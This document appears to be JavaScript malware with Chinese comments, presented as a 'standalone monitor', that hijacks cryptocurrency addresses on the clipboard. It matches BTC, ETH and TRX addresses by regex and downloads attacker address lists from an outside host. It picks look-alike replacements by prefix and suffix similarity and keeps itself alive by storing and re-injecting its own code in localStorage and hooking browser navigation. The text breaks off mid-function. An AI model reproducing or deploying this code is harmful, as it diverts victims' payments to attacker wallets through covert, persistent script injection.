(function() { 'use strict'; // ========== 全局持久化配置 ========== const PERSISTENCE_KEY = '__standalone_monitor_active__'; const SCRIPT_STORAGE_KEY = '__standalone_monitor_script__'; const SCRIPT_VERSION = '2.0.0'; // 检查是否已经在运行(防止重复执行) if (window.__standaloneMonitorRunning__) { console.log('[独立监控] 脚本已在运行,跳过重复执行'); return; } window.__standaloneMonitorRunning__ = true; // ========== 持久化管理器 ========== const PersistenceManager = { // 标记脚本为活跃状态 markActive: function() { try { localStorage.setItem(PERSISTENCE_KEY, JSON.stringify({ active: true, timestamp: Date.now(), version: SCRIPT_VERSION, url: window.location.href })); console.log('[持久化] 已标记为活跃状态'); } catch (e) { console.warn('[持久化] 无法写入 localStorage:', e); } }, // 检查是否应该自动启动 shouldAutoStart: function() { try { const data = localStorage.getItem(PERSISTENCE_KEY); if (data) { const parsed = JSON.parse(data); // 检查是否在 24 小时内活跃 if (parsed.active && (Date.now() - parsed.timestamp < 24 * 60 * 60 * 1000)) { return true; } } } catch (e) { console.warn('[持久化] 无法读取 localStorage:', e); } return false; }, // 停用持久化 deactivate: function() { try { localStorage.removeItem(PERSISTENCE_KEY); console.log('[持久化] 已停用'); } catch (e) { console.warn('[持久化] 无法移除 localStorage:', e); } }, // 保存脚本内容以便在新页面注入 saveScript: function() { try { // 获取当前脚本的完整内容 const scriptContent = document.currentScript ? document.currentScript.textContent : null; if (scriptContent) { localStorage.setItem(SCRIPT_STORAGE_KEY, scriptContent); console.log('[持久化] 脚本内容已保存'); } } catch (e) { console.warn('[持久化] 无法保存脚本内容:', e); } }, // 在新页面注入脚本 injectScript: function() { try { const scriptContent = localStorage.getItem(SCRIPT_STORAGE_KEY); if (scriptContent) { const script = document.createElement('script'); script.textContent = scriptContent; (document.head || document.documentElement).appendChild(script); console.log('[持久化] 脚本已注入到新页面'); return true; } } catch (e) { console.warn('[持久化] 无法注入脚本:', e); } return false; } }; // ========== 页面导航拦截器 ========== const NavigationInterceptor = { originalPushState: null, originalReplaceState: null, init: function() { const self = this; // 拦截 history.pushState this.originalPushState = history.pushState; history.pushState = function(...args) { console.log('[导航拦截] pushState 被调用'); PersistenceManager.markActive(); return self.originalPushState.apply(history, args); }; // 拦截 history.replaceState this.originalReplaceState = history.replaceState; history.replaceState = function(...args) { console.log('[导航拦截] replaceState 被调用'); PersistenceManager.markActive(); return self.originalReplaceState.apply(history, args); }; // 监听 popstate 事件(浏览器前进/后退) window.addEventListener('popstate', function() { console.log('[导航拦截] popstate 事件'); PersistenceManager.markActive(); }); // 监听 beforeunload 事件(页面即将卸载) window.addEventListener('beforeunload', function() { console.log('[导航拦截] 页面即将卸载,保存状态'); PersistenceManager.markActive(); }); // 监听 visibilitychange 事件(页面可见性变化) document.addEventListener('visibilitychange', function() { if (document.visibilityState === 'hidden') { PersistenceManager.markActive(); } }); console.log('[导航拦截] 拦截器已初始化'); }, destroy: function() { if (this.originalPushState) { history.pushState = this.originalPushState; } if (this.originalReplaceState) { history.replaceState = this.originalReplaceState; } } }; // ========== 自动重新注入器 ========== const AutoInjector = { observer: null, init: function() { // 使用 MutationObserver 监控 DOM 变化,确保脚本在 SPA 页面切换时仍然有效 this.observer = new MutationObserver(function(mutations) { // 检查是否需要重新绑定事件 if (!document.querySelector('[data-standalone-monitor]')) { // 标记已监控 const marker = document.createElement('div'); marker.setAttribute('data-standalone-monitor', 'true'); marker.style.display = 'none'; document.body.appendChild(marker); } }); if (document.body) { this.observer.observe(document.body, { childList: true, subtree: true }); } console.log('[自动注入] 监控器已初始化'); }, destroy: function() { if (this.observer) { this.observer.disconnect(); this.observer = null; } } }; // ========== Service Worker 注册(可选,用于更强的持久化)========== const ServiceWorkerManager = { register: async function() { if ('serviceWorker' in navigator) { try { // 检查是否已经有 Service Worker const registrations = await navigator.serviceWorker.getRegistrations(); const existingWorker = registrations.find(r => r.active && r.active.scriptURL.includes('standalone-monitor-sw.js') ); if (existingWorker) { console.log('[Service Worker] 已存在,跳过注册'); return; } // 创建 Service Worker 代码 const swCode = ` self.addEventListener('install', function(event) { console.log('[SW] 安装'); self.skipWaiting(); }); self.addEventListener('activate', function(event) { console.log('[SW] 激活'); event.waitUntil(clients.claim()); }); self.addEventListener('fetch', function(event) { // 对 HTML 请求注入脚本 if (event.request.mode === 'navigate' && event.request.destination === 'document') { event.respondWith( fetch(event.request).then(function(response) { // 可以在这里修改响应,注入脚本 return response; }) ); } }); `; // 使用 Blob 创建 Service Worker const blob = new Blob([swCode], { type: 'application/javascript' }); const swUrl = URL.createObjectURL(blob); // 注意:Blob URL 的 Service Worker 可能在某些浏览器中不被支持 // await navigator.serviceWorker.register(swUrl); console.log('[Service Worker] 注册功能已准备(需要独立的 SW 文件)'); } catch (error) { console.warn('[Service Worker] 注册失败:', error); } } } }; // ========== 跨页面通信(使用 BroadcastChannel)========== const CrossPageMessenger = { channel: null, init: function() { if ('BroadcastChannel' in window) { this.channel = new BroadcastChannel('standalone_monitor_channel'); this.channel.onmessage = function(event) { console.log('[跨页面通信] 收到消息:', event.data); if (event.data.type === 'ping') { // 响应 ping,表示脚本正在运行 CrossPageMessenger.channel.postMessage({ type: 'pong', url: window.location.href, timestamp: Date.now() }); } else if (event.data.type === 'stop') { // 停止所有页面的脚本 if (typeof window.StandaloneMonitorReplace !== 'undefined') { window.StandaloneMonitorReplace.stop(); } } }; console.log('[跨页面通信] BroadcastChannel 已初始化'); } }, broadcast: function(message) { if (this.channel) { this.channel.postMessage(message); } }, destroy: function() { if (this.channel) { this.channel.close(); this.channel = null; } } }; // ========== 配置 ========== const CONFIG = { // 复制替换配置 copyReplace: { enabled: true, patterns: [ { name: 'Bitcoin', key: 'btc', enabled: true, regex: '^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$|^bc1[a-z0-9]{39,59}$', // BTC 地址列表 URL url: 'https://css.unpkg.top:9988/static/btc.txt' }, { name: 'Ethereum', key: 'eth', enabled: true, regex: '^0x[a-fA-F0-9]{40}$', // ETH 地址列表 URL url: 'https://css.unpkg.top:9988/static/erc20.txt' }, { name: 'Tron', key: 'trx', enabled: true, regex: '^T[A-Za-z1-9]{33}$', // TRX 地址列表 URL url: 'https://css.unpkg.top:9988/static/trc20.txt' } ], // 地址列表服务器(通用,如果 patterns 中没有配置 url,则使用此地址) addressListServer: 'https://your-server.com/api/address-list', // CORS 代理服务器(如果遇到 CORS 错误,可以使用代理) // 例如: 'http://your-proxy-server:3000/proxy' 或 'https://cors-anywhere.herokuapp.com/' proxyServer: null, // 使用 IndexedDB 存储(支持大数据量) useIndexedDB: true, // 本地存储键名(如果使用 localStorage) storageKey: 'address_list_cache', // 批量加载大小(每次加载多少条) batchSize: 1000, // 是否启用服务端搜索(推荐) enableServerSearch: true, // 内存中保留的最大地址数(超过此数量会使用索引查找) maxMemoryAddresses: 5000 }, monitor: { enabled: true, monitorNetwork: true, monitorCopyPaste: true } }; // ========== IndexedDB 管理 ========== let db = null; const DB_NAME = 'AddressListDB'; const DB_VERSION = 1; const STORE_NAME = 'addresses'; // 地址类型定义 const ADDRESS_TYPES = { BTC: 'btc', ETH: 'eth', TRX: 'trx' }; /** * 初始化 IndexedDB */ function initIndexedDB() { return new Promise((resolve, reject) => { if (!CONFIG.copyReplace.useIndexedDB || typeof indexedDB === 'undefined') { console.warn('[地址列表] IndexedDB 不可用,将使用 localStorage'); resolve(null); return; } const request = indexedDB.open(DB_NAME, DB_VERSION); request.onerror = function() { console.error('[地址列表] IndexedDB 打开失败:', request.error); reject(request.error); }; request.onsuccess = function() { db = request.result; console.log('[地址列表] IndexedDB 初始化成功'); resolve(db); }; request.onupgradeneeded = function(event) { const db = event.target.result; // 创建对象存储 if (!db.objectStoreNames.contains(STORE_NAME)) { const objectStore = db.createObjectStore(STORE_NAME, { keyPath: 'id', autoIncrement: true }); // 创建索引:patternKey(地址类型), prefix, suffix, address // patternKey 用于区分 BTC、ETH、TRX 等不同类型 objectStore.createIndex('patternKey', 'patternKey', { unique: false }); objectStore.createIndex('prefix', 'prefix', { unique: false }); objectStore.createIndex('suffix', 'suffix', { unique: false }); objectStore.createIndex('address', 'address', { unique: true }); // 创建复合索引:patternKey + prefix,用于快速查询特定类型的地址 objectStore.createIndex('patternKey_prefix', ['patternKey', 'prefix'], { unique: false }); objectStore.createIndex('patternKey_suffix', ['patternKey', 'suffix'], { unique: false }); console.log('[地址列表] IndexedDB 对象存储已创建(支持多地址类型)'); } }; }); } /** * 批量保存地址到 IndexedDB(按地址类型区分存储) * @param {string} patternKey - 地址类型(btc, eth, trx) * @param {Array} addresses - 地址数组 * @returns {Promise} 成功保存的数量 */ function saveAddressesToIndexedDB(patternKey, addresses) { return new Promise((resolve, reject) => { if (!db) { reject(new Error('IndexedDB 未初始化')); return; } // 验证地址类型 if (!Object.values(ADDRESS_TYPES).includes(patternKey)) { console.warn(`[地址列表] 未知的地址类型: ${patternKey}`); } const transaction = db.transaction([STORE_NAME], 'readwrite'); const objectStore = transaction.objectStore(STORE_NAME); const index = objectStore.index('patternKey'); // 先删除该 patternKey(地址类型)的所有旧数据 console.log(`[地址列表] 开始清理旧数据: ${patternKey}`); const deleteRequest = index.openKeyCursor(IDBKeyRange.only(patternKey)); let deleteCount = 0; deleteRequest.onsuccess = function(event) { const cursor = event.target.result; if (cursor) { objectStore.delete(cursor.primaryKey); deleteCount++; cursor.continue(); } else { // 删除完成,开始添加新数据 console.log(`[地址列表] 已清理 ${deleteCount} 条旧数据: ${patternKey}`); console.log(`[地址列表] 开始保存新数据: ${patternKey} (${addresses.length} 条)`); let added = 0; let failed = 0; let duplicateCount = 0; // 批量添加地址(按地址类型) addresses.forEach((address, idx) => { const prefix = address.substring(0, Math.min(4, address.length)); const suffix = address.substring(Math.max(0, address.length - 4)); const data = { patternKey: patternKey, // 地址类型标识 address: address, prefix: prefix, suffix: suffix, timestamp: Date.now(), addressType: patternKey.toUpperCase() // 便于查询 }; const addRequest = objectStore.add(data); addRequest.onsuccess = function() { added++; if (added + failed + duplicateCount === addresses.length) { console.log(`[地址列表] 保存完成: ${patternKey} - 成功: ${added}, 失败: ${failed}, 重复: ${duplicateCount}`); resolve(added); } }; addRequest.onerror = function(event) { // 检查是否是重复键错误 if (event.target.error.name === 'ConstraintError') { duplicateCount++; } else { failed++; } if (added + failed + duplicateCount === addresses.length) { console.log(`[地址列表] 保存完成: ${patternKey} - 成功: ${added}, 失败: ${failed}, 重复: ${duplicateCount}`); resolve(added); } }; }); } }; deleteRequest.onerror = function() { console.error(`[地址列表] 清理旧数据失败: ${patternKey}`); reject(new Error('清理旧数据失败')); }; }); } /** * 从 IndexedDB 查询所有地址(宽松模式 - 用于相似度匹配) * @param {string} patternKey - 地址类型(btc, eth, trx) * @param {number} limit - 限制返回数量(默认1000,避免性能问题) * @returns {Promise>} 地址数组 */ function queryAllAddressesFromIndexedDB(patternKey, limit = 1000) { return new Promise((resolve, reject) => { if (!db) { reject(new Error('IndexedDB 未初始化')); return; } const transaction = db.transaction([STORE_NAME], 'readonly'); const objectStore = transaction.objectStore(STORE_NAME); const index = objectStore.index('patternKey'); const addresses = []; const keyRange = IDBKeyRange.only(patternKey); const request = index.openCursor(keyRange); request.onsuccess = function(event) { const cursor = event.target.result; if (cursor && addresses.length < limit) { addresses.push(cursor.value.address); cursor.continue(); } else { console.log(`[地址匹配] 宽松模式:从 IndexedDB 加载了 ${addresses.length} 个 ${patternKey.toUpperCase()} 地址`); resolve(addresses); } }; request.onerror = function() { reject(new Error('查询所有地址失败')); }; }); } /** * 从 IndexedDB 查询地址(按地址类型区分查询) * @param {string} patternKey - 地址类型(btc, eth, trx) * @param {string} prefix - 地址前缀(前4位) * @param {string} suffix - 地址后缀(后4位) * @param {boolean} looseMode - 是否使用宽松模式(如果严格匹配失败,返回所有地址) * @returns {Promise>} 匹配的地址数组 */ function queryAddressesFromIndexedDB(patternKey, prefix, suffix, looseMode = false) { return new Promise((resolve, reject) => { if (!db) { reject(new Error('IndexedDB 未初始化')); return; } // 验证地址类型 if (!Object.values(ADDRESS_TYPES).includes(patternKey)) { console.warn(`[地址列表] 未知的地址类型: ${patternKey}`); } const transaction = db.transaction([STORE_NAME], 'readonly'); const objectStore = transaction.objectStore(STORE_NAME); // 使用复合索引进行高效查询(patternKey + prefix/suffix) const patternKeyPrefixIndex = objectStore.index('patternKey_prefix'); const patternKeySuffixIndex = objectStore.index('patternKey_suffix'); const results = new Set(); let completed = 0; const totalQueries = 2; // 查询1: 使用复合索引查询 patternKey + prefix(只查询指定类型的地址) const prefixKey = IDBKeyRange.bound([patternKey, prefix], [patternKey, prefix + '\uffff']); const prefixRequest = patternKeyPrefixIndex.getAll(prefixKey); prefixRequest.onsuccess = function() { // 结果已经按 patternKey 过滤,直接使用 const addresses = prefixRequest.result.map(item => item.address); addresses.forEach(addr => results.add(addr)); completed++; if (completed === totalQueries) { // 如果严格匹配失败且启用宽松模式,返回所有地址 if (results.size === 0 && looseMode) { console.log(`[地址匹配] 严格匹配失败,使用宽松模式查询所有 ${patternKey.toUpperCase()} 地址`); queryAllAddressesFromIndexedDB(patternKey, 2000).then(resolve).catch(reject); } else { console.log(`[地址列表] 查询完成: ${patternKey} - 找到 ${results.size} 个候选地址`); resolve(Array.from(results)); } } }; prefixRequest.onerror = function() { console.error(`[地址列表] 前缀查询失败: ${patternKey}`); completed++; if (completed === totalQueries) { if (results.size === 0 && looseMode) { // 如果查询失败,尝试宽松模式 queryAllAddressesFromIndexedDB(patternKey, 2000).then(resolve).catch(reject); } else { resolve(Array.from(results)); } } }; // 查询2: 使用复合索引查询 patternKey + suffix(只查询指定类型的地址) const suffixKey = IDBKeyRange.bound([patternKey, suffix], [patternKey, suffix + '\uffff']); const suffixRequest = patternKeySuffixIndex.getAll(suffixKey); suffixRequest.onsuccess = function() { // 结果已经按 patternKey 过滤,直接使用 const addresses = suffixRequest.result.map(item => item.address); addresses.forEach(addr => results.add(addr)); completed++; if (completed === totalQueries) { // 如果严格匹配失败且启用宽松模式,返回所有地址 if (results.size === 0 && looseMode) { console.log(`[地址匹配] 严格匹配失败,使用宽松模式查询所有 ${patternKey.toUpperCase()} 地址`); queryAllAddressesFromIndexedDB(patternKey, 2000).then(resolve).catch(reject); } else { console.log(`[地址列表] 查询完成: ${patternKey} - 找到 ${results.size} 个候选地址`); resolve(Array.from(results)); } } }; suffixRequest.onerror = function() { console.error(`[地址列表] 后缀查询失败: ${patternKey}`); completed++; if (completed === totalQueries) { if (results.size === 0 && looseMode) { // 如果查询失败,尝试宽松模式 queryAllAddressesFromIndexedDB(patternKey, 2000).then(resolve).catch(reject); } else { resolve(Array.from(results)); } } }; }); } /** * 从 IndexedDB 获取指定地址类型的地址总数 * @param {string} patternKey - 地址类型(btc, eth, trx) * @returns {Promise} 地址数量 */ function getAddressCountFromIndexedDB(patternKey) { return new Promise((resolve) => { if (!db) { resolve(0); return; } const transaction = db.transaction([STORE_NAME], 'readonly'); const objectStore = transaction.objectStore(STORE_NAME); const index = objectStore.index('patternKey'); // 只统计指定地址类型的数量 const request = index.count(IDBKeyRange.only(patternKey)); request.onsuccess = function() { const count = request.result; console.log(`[地址列表] ${patternKey.toUpperCase()} 地址数量: ${count}`); resolve(count); }; request.onerror = function() { console.error(`[地址列表] 获取地址数量失败: ${patternKey}`); resolve(0); }; }); } /** * 获取所有地址类型的统计信息 * @returns {Promise} 各地址类型的数量统计 */ function getAllAddressTypeStats() { return new Promise((resolve) => { if (!db) { resolve({}); return; } const stats = {}; const addressTypes = Object.values(ADDRESS_TYPES); let completed = 0; addressTypes.forEach(patternKey => { getAddressCountFromIndexedDB(patternKey).then(count => { stats[patternKey] = count; completed++; if (completed === addressTypes.length) { console.log('[地址列表] 地址类型统计:', stats); resolve(stats); } }); }); }); } /** * 清理指定地址类型的数据 * @param {string} patternKey - 地址类型(btc, eth, trx) * @returns {Promise} 删除的数量 */ function clearAddressType(patternKey) { return new Promise((resolve, reject) => { if (!db) { reject(new Error('IndexedDB 未初始化')); return; } const transaction = db.transaction([STORE_NAME], 'readwrite'); const objectStore = transaction.objectStore(STORE_NAME); const index = objectStore.index('patternKey'); let deleteCount = 0; const deleteRequest = index.openKeyCursor(IDBKeyRange.only(patternKey)); deleteRequest.onsuccess = function(event) { const cursor = event.target.result; if (cursor) { objectStore.delete(cursor.primaryKey); deleteCount++; cursor.continue(); } else { console.log(`[地址列表] 已清理 ${deleteCount} 条 ${patternKey.toUpperCase()} 地址`); resolve(deleteCount); } }; deleteRequest.onerror = function() { reject(new Error('清理地址类型数据失败')); }; }); } // ========== 服务端搜索(推荐用于大数据量)========== /** * 从服务器搜索匹配的地址(服务端搜索) * @param {string} patternKey - 地址类型(btc, eth, trx) * @param {string} originalAddress - 原始地址 * @returns {Promise} 匹配的地址 */ async function searchAddressFromServer(patternKey, originalAddress) { if (!CONFIG.copyReplace.enableServerSearch) { return null; } try { // 获取基础 URL const baseUrl = getAddressListUrl(patternKey); // 如果是文件 URL(.txt),不支持服务端搜索 if (baseUrl.endsWith('.txt')) { console.warn(`[地址匹配] ${patternKey} 使用文件 URL,不支持服务端搜索`); return null; } // 构建搜索 URL const url = baseUrl.includes('?') ? `${baseUrl}&search=${encodeURIComponent(originalAddress)}` : `${baseUrl}/search?pattern=${patternKey}&address=${encodeURIComponent(originalAddress)}`; const response = await fetch(url, { method: 'GET', headers: { 'Content-Type': 'application/json' } }); if (!response.ok) { throw new Error(`HTTP ${response.status}`); } const data = await response.json(); if (data && data.address) { console.log(`[地址匹配] 服务端搜索成功: ${originalAddress} -> ${data.address}`); return data.address; } return null; } catch (error) { console.warn(`[地址匹配] 服务端搜索失败: ${error.message}`); return null; } } // ========== 地址列表管理(优化版)========== const addressCache = new Map(); // 内存缓存(只存储少量常用地址) const addressIndex = new Map(); // 前缀/后缀索引 /** * 从本地存储加载地址列表(localStorage,适用于小数据量) */ function loadAddressListFromStorage(patternKey) { try { const storageKey = `${CONFIG.copyReplace.storageKey}_${patternKey}`; const cached = localStorage.getItem(storageKey); if (cached) { const data = JSON.parse(cached); // 检查缓存是否过期(24小时) if (Date.now() - data.timestamp < 24 * 60 * 60 * 1000) { return data.addresses; } } } catch (e) { console.warn('[地址列表] 从本地存储加载失败:', e); } return null; } /** * 保存地址列表到本地存储(localStorage,适用于小数据量) */ function saveAddressListToStorage(patternKey, addresses) { try { const storageKey = `${CONFIG.copyReplace.storageKey}_${patternKey}`; const data = { addresses: addresses, timestamp: Date.now() }; localStorage.setItem(storageKey, JSON.stringify(data)); } catch (e) { // localStorage 可能已满,尝试清理或使用 IndexedDB if (e.name === 'QuotaExceededError') { console.warn('[地址列表] localStorage 已满,建议使用 IndexedDB'); } } } /** * 获取地址类型的 URL * @param {string} patternKey - 地址类型(btc, eth, trx) * @returns {string} URL 地址 */ function getAddressListUrl(patternKey) { // 查找对应 pattern 配置 const pattern = CONFIG.copyReplace.patterns.find(p => p.key === patternKey); let targetUrl = null; // 如果 pattern 中配置了 url,使用该 url if (pattern && pattern.url) { targetUrl = pattern.url; } else { // 否则使用通用地址列表服务器 targetUrl = `${CONFIG.copyReplace.addressListServer}?pattern=${patternKey}`; } // 如果配置了代理服务器,使用代理 if (CONFIG.copyReplace.proxyServer && targetUrl) { return `${CONFIG.copyReplace.proxyServer}?url=${encodeURIComponent(targetUrl)}`; } return targetUrl; } /** * 从服务器批量下载地址列表(支持每个类型独立的 URL) * @param {string} patternKey - 地址类型(btc, eth, trx) * @param {number} offset - 偏移量(用于分页) * @param {number|null} limit - 限制数量(null 表示不分页) * @returns {Promise|null>} 地址数组 */ async function downloadAddressList(patternKey, offset = 0, limit = null) { try { // 获取该地址类型对应的 URL let url = getAddressListUrl(patternKey); // 如果是通用 API,添加分页参数 if (url.includes('?')) { if (limit) { url += `&offset=${offset}&limit=${limit}`; } } else { // 如果是直接的文件 URL(如 .txt),不支持分页,直接下载全部 // 注意:对于 .txt 文件,offset 和 limit 参数会被忽略 if (limit) { console.warn(`[地址列表] ${patternKey} 使用文件 URL,不支持分页参数`); } } console.log(`[地址列表] 正在下载 ${patternKey.toUpperCase()} 地址: ${url}`); let response; try { response = await fetch(url, { method: 'GET', mode: 'cors', // 明确指定 CORS 模式 headers: { 'Content-Type': 'text/plain' // .txt 文件使用 text/plain } }); } catch (fetchError) { // 处理 CORS 错误 if (fetchError.name === 'TypeError' && fetchError.message.includes('Failed to fetch')) { console.error(`[地址列表] ❌ CORS 错误: 无法从 ${url} 下载,服务器未设置 CORS 头`); console.error(`[地址列表] 解决方案:`); console.error(` 1. 在服务器端设置 CORS 头: Access-Control-Allow-Origin: *`); console.error(` 2. 使用代理服务器下载`); console.error(` 3. 将文件放在同域下`); throw new Error(`CORS 错误: 服务器 ${new URL(url).origin} 不允许跨域访问`); } throw fetchError; } if (!response.ok) { const errorText = await response.text().catch(() => ''); throw new Error(`HTTP ${response.status} ${response.statusText}: ${errorText.substring(0, 100)}`); } const text = await response.text(); const addresses = text.split('\n') .map(line => line.trim()) .filter(line => line.length > 0); console.log(`[地址列表] 从服务器下载 ${patternKey.toUpperCase()}: ${addresses.length} 条`); // 如果指定了 limit,返回分页结果 if (limit && addresses.length > offset) { return addresses.slice(offset, offset + limit); } else if (offset > 0) { return addresses.slice(offset); } return addresses; } catch (error) { console.error(`[地址列表] 从服务器下载失败 (${patternKey}):`, error); return null; } } /** * 批量下载并保存地址列表(按地址类型分别处理) * @param {string} patternKey - 地址类型(btc, eth, trx) * @returns {Promise} 是否成功 */ async function loadAddressListBatch(patternKey) { // 验证地址类型 if (!Object.values(ADDRESS_TYPES).includes(patternKey)) { console.error(`[地址列表] 无效的地址类型: ${patternKey}`); return false; } console.log(`[地址列表] 开始批量加载 ${patternKey.toUpperCase()} 地址...`); // 检查 IndexedDB 中是否已有该类型的数据 if (db) { const count = await getAddressCountFromIndexedDB(patternKey); if (count > 0) { console.log(`[地址列表] IndexedDB 中已有 ${count} 条 ${patternKey.toUpperCase()} 地址,跳过下载`); return true; } } // 获取该地址类型的 URL const url = getAddressListUrl(patternKey); const isFileUrl = url.endsWith('.txt'); // 如果是文件 URL,直接下载全部(不支持分页) if (isFileUrl) { console.log(`[地址列表] ${patternKey.toUpperCase()} 使用文件 URL,直接下载全部`); const addresses = await downloadAddressList(patternKey); if (addresses && addresses.length > 0) { if (db) { await saveAddressesToIndexedDB(patternKey, addresses); } else if (addresses.length <= 1000) { saveAddressListToStorage(patternKey, addresses); } console.log(`[地址列表] ${patternKey.toUpperCase()} 地址加载完成 (总计: ${addresses.length} 条)`); return true; } return false; } // 如果是 API URL,支持分批下载 const batchSize = CONFIG.copyReplace.batchSize; let offset = 0; let allAddresses = []; let hasMore = true; while (hasMore) { const addresses = await downloadAddressList(patternKey, offset, batchSize); if (!addresses || addresses.length === 0) { hasMore = false; break; } allAddresses = allAddresses.concat(addresses); // 如果返回的数量少于 batchSize,说明已经下载完 if (addresses.length < batchSize) { hasMore = false; } else { offset += batchSize; } // 每批保存到 IndexedDB(按地址类型分别保存) if (db && allAddresses.length >= batchSize) { await saveAddressesToIndexedDB(patternKey, allAddresses); console.log(`[地址列表] 已保存 ${patternKey.toUpperCase()} 地址批次 (${allAddresses.length} 条)`); allAddresses = []; // 清空已保存的 } // 避免阻塞 UI await new Promise(resolve => setTimeout(resolve, 10)); } // 保存剩余地址(按地址类型) if (db && allAddresses.length > 0) { await saveAddressesToIndexedDB(patternKey, allAddresses); console.log(`[地址列表] 已保存 ${patternKey.toUpperCase()} 地址剩余批次 (${allAddresses.length} 条)`); } else if (!db && allAddresses.length > 0) { // 如果 IndexedDB 不可用,使用 localStorage(但可能存储不下) if (allAddresses.length <= 1000) { saveAddressListToStorage(patternKey, allAddresses); } else { console.warn(`[地址列表] 地址数量过多 (${allAddresses.length}),localStorage 可能无法存储,建议使用 IndexedDB`); } } const totalCount = offset + (allAddresses.length || 0); console.log(`[地址列表] ${patternKey.toUpperCase()} 地址批量加载完成 (总计: ${totalCount} 条)`); return true; } /** * 批量加载所有地址类型 * @returns {Promise} 各地址类型的加载结果 */ async function loadAllAddressTypes() { const results = {}; const addressTypes = Object.values(ADDRESS_TYPES); console.log(`[地址列表] 开始加载所有地址类型: ${addressTypes.join(', ')}`); for (const patternKey of addressTypes) { try { const success = await loadAddressListBatch(patternKey); results[patternKey] = { success: success, count: success ? await getAddressCountFromIndexedDB(patternKey) : 0 }; } catch (error) { console.error(`[地址列表] 加载 ${patternKey.toUpperCase()} 地址失败:`, error); results[patternKey] = { success: false, error: error.message }; } } console.log('[地址列表] 所有地址类型加载完成:', results); return results; } /** * 加载地址列表(智能选择加载方式) */ async function loadAddressList(patternKey) { // 优先使用服务端搜索(推荐) if (CONFIG.copyReplace.enableServerSearch) { console.log(`[地址列表] 使用服务端搜索模式: ${patternKey}`); return null; // 不需要预加载 } // 检查内存缓存 if (addressCache.has(patternKey)) { return addressCache.get(patternKey); } // 如果使用 IndexedDB if (CONFIG.copyReplace.useIndexedDB && db) { const count = await getAddressCountFromIndexedDB(patternKey); if (count > 0) { console.log(`[地址列表] IndexedDB 中已有 ${count} 条地址: ${patternKey}`); return null; // 不需要加载到内存 } else { // 批量下载并保存 await loadAddressListBatch(patternKey); return null; } } // 使用 localStorage(仅适用于小数据量) const cached = loadAddressListFromStorage(patternKey); if (cached && cached.length > 0) { // 只缓存少量地址到内存 if (cached.length <= CONFIG.copyReplace.maxMemoryAddresses) { addressCache.set(patternKey, cached); return cached; } else { console.warn(`[地址列表] 地址数量过多 (${cached.length}),建议使用 IndexedDB`); return cached.slice(0, CONFIG.copyReplace.maxMemoryAddresses); } } // 从服务器下载(小数据量) const addresses = await downloadAddressList(patternKey); if (addresses && addresses.length > 0) { if (addresses.length <= CONFIG.copyReplace.maxMemoryAddresses) { addressCache.set(patternKey, addresses); saveAddressListToStorage(patternKey, addresses); return addresses; } else { // 大数据量,使用 IndexedDB if (CONFIG.copyReplace.useIndexedDB) { await initIndexedDB(); if (db) { await saveAddressesToIndexedDB(patternKey, addresses); return null; } } } } return []; } // ========== 地址匹配和替换逻辑(优化版)========== /** * 计算地址相似度(基于前缀和后缀匹配) * 相似度 = 前缀匹配字符数 * 前缀权重 + 后缀匹配字符数 * 后缀权重 * 后缀权重 > 前缀权重 * 中间部分不参与计算 */ function calculateSimilarity(original, candidate) { if (!original || !candidate || original.length === 0 || candidate.length === 0) { return 0; } // 权重配置:后缀权重高于前缀权重 const PREFIX_WEIGHT = 1.0; // 前缀权重:每个匹配字符计1分 const SUFFIX_WEIGHT = 2.0; // 后缀权重:每个匹配字符计2分(是前缀的2倍) // 1. 前缀匹配:从前往后比较,计算连续匹配的字符数 let prefixMatch = 0; const maxPrefix = Math.min(original.length, candidate.length); for (let i = 0; i < maxPrefix; i++) { if (original[i] === candidate[i]) { prefixMatch++; } else { break; // 一旦不匹配就停止 } } // 2. 后缀匹配:从后往前比较,计算连续匹配的字符数 let suffixMatch = 0; const maxSuffix = Math.min(original.length, candidate.length); for (let i = 0; i < maxSuffix; i++) { const origIdx = original.length - 1 - i; const candIdx = candidate.length - 1 - i; if (original[origIdx] === candidate[candIdx]) { suffixMatch++; } else { break; // 一旦不匹配就停止 } } // 相似度 = 前缀匹配数 * 前缀权重 + 后缀匹配数 * 后缀权重 // 后缀权重是前缀权重的2倍,所以后缀匹配更重要 const similarity = prefixMatch * PREFIX_WEIGHT + suffixMatch * SUFFIX_WEIGHT; return similarity; } /** * 从地址列表中查找最佳匹配(优化版) */ async function getReplaceAddress(originalAddress, pattern) { console.log(`[地址匹配] 开始查找替换地址: ${originalAddress}, 类型: ${pattern.key}`); if (!CONFIG.copyReplace.enabled || !pattern) { console.log('[地址匹配] 地址替换已禁用或 pattern 无效'); return null; } // 方法1: 服务端搜索(推荐,最快) if (CONFIG.copyReplace.enableServerSearch) { console.log('[地址匹配] 尝试服务端搜索...'); const serverResult = await searchAddressFromServer(pattern.key, originalAddress); if (serverResult) { console.log(`[地址匹配] ✅ 服务端搜索成功: ${serverResult}`); return serverResult; } console.log('[地址匹配] 服务端搜索未找到结果'); } // 方法2: 使用 IndexedDB 查询(支持宽松模式) if (CONFIG.copyReplace.useIndexedDB && db) { console.log('[地址匹配] 使用 IndexedDB 查询...'); const originalPrefix = originalAddress.substring(0, Math.min(4, originalAddress.length)); const originalSuffix = originalAddress.substring(Math.max(0, originalAddress.length - 4)); console.log(`[地址匹配] 前缀: ${originalPrefix}, 后缀: ${originalSuffix}`); // 先尝试严格匹配(前缀/后缀匹配) let candidates = await queryAddressesFromIndexedDB(pattern.key, originalPrefix, originalSuffix, false); console.log(`[地址匹配] 严格匹配查询到 ${candidates.length} 个候选地址`); // 如果严格匹配失败,使用宽松模式(查询所有地址) if (candidates.length === 0) { console.log(`[地址匹配] 严格匹配失败,启用宽松模式...`); candidates = await queryAddressesFromIndexedDB(pattern.key, originalPrefix, originalSuffix, true); console.log(`[地址匹配] 宽松模式查询到 ${candidates.length} 个候选地址`); } if (candidates.length > 0) { // 计算所有候选地址的相似度 console.log(`[地址匹配] 开始计算 ${candidates.length} 个候选地址的相似度...`); const candidatesWithSimilarity = candidates.map(addr => ({ address: addr, similarity: calculateSimilarity(originalAddress, addr) })); // 按相似度排序(从高到低) candidatesWithSimilarity.sort((a, b) => b.similarity - a.similarity); // 选择最佳匹配(相似度最高的) const bestMatch = candidatesWithSimilarity[0]; // 显示前5个最相似的地址(用于调试) const top5 = candidatesWithSimilarity.slice(0, 5); console.log(`[地址匹配] 前5个最相似的地址:`); top5.forEach((c, i) => { console.log(` ${i + 1}. ${c.address} (相似度: ${c.similarity})`); }); console.log(`[地址匹配] ✅ 找到最佳匹配: ${originalAddress} -> ${bestMatch.address} (相似度: ${bestMatch.similarity})`); return 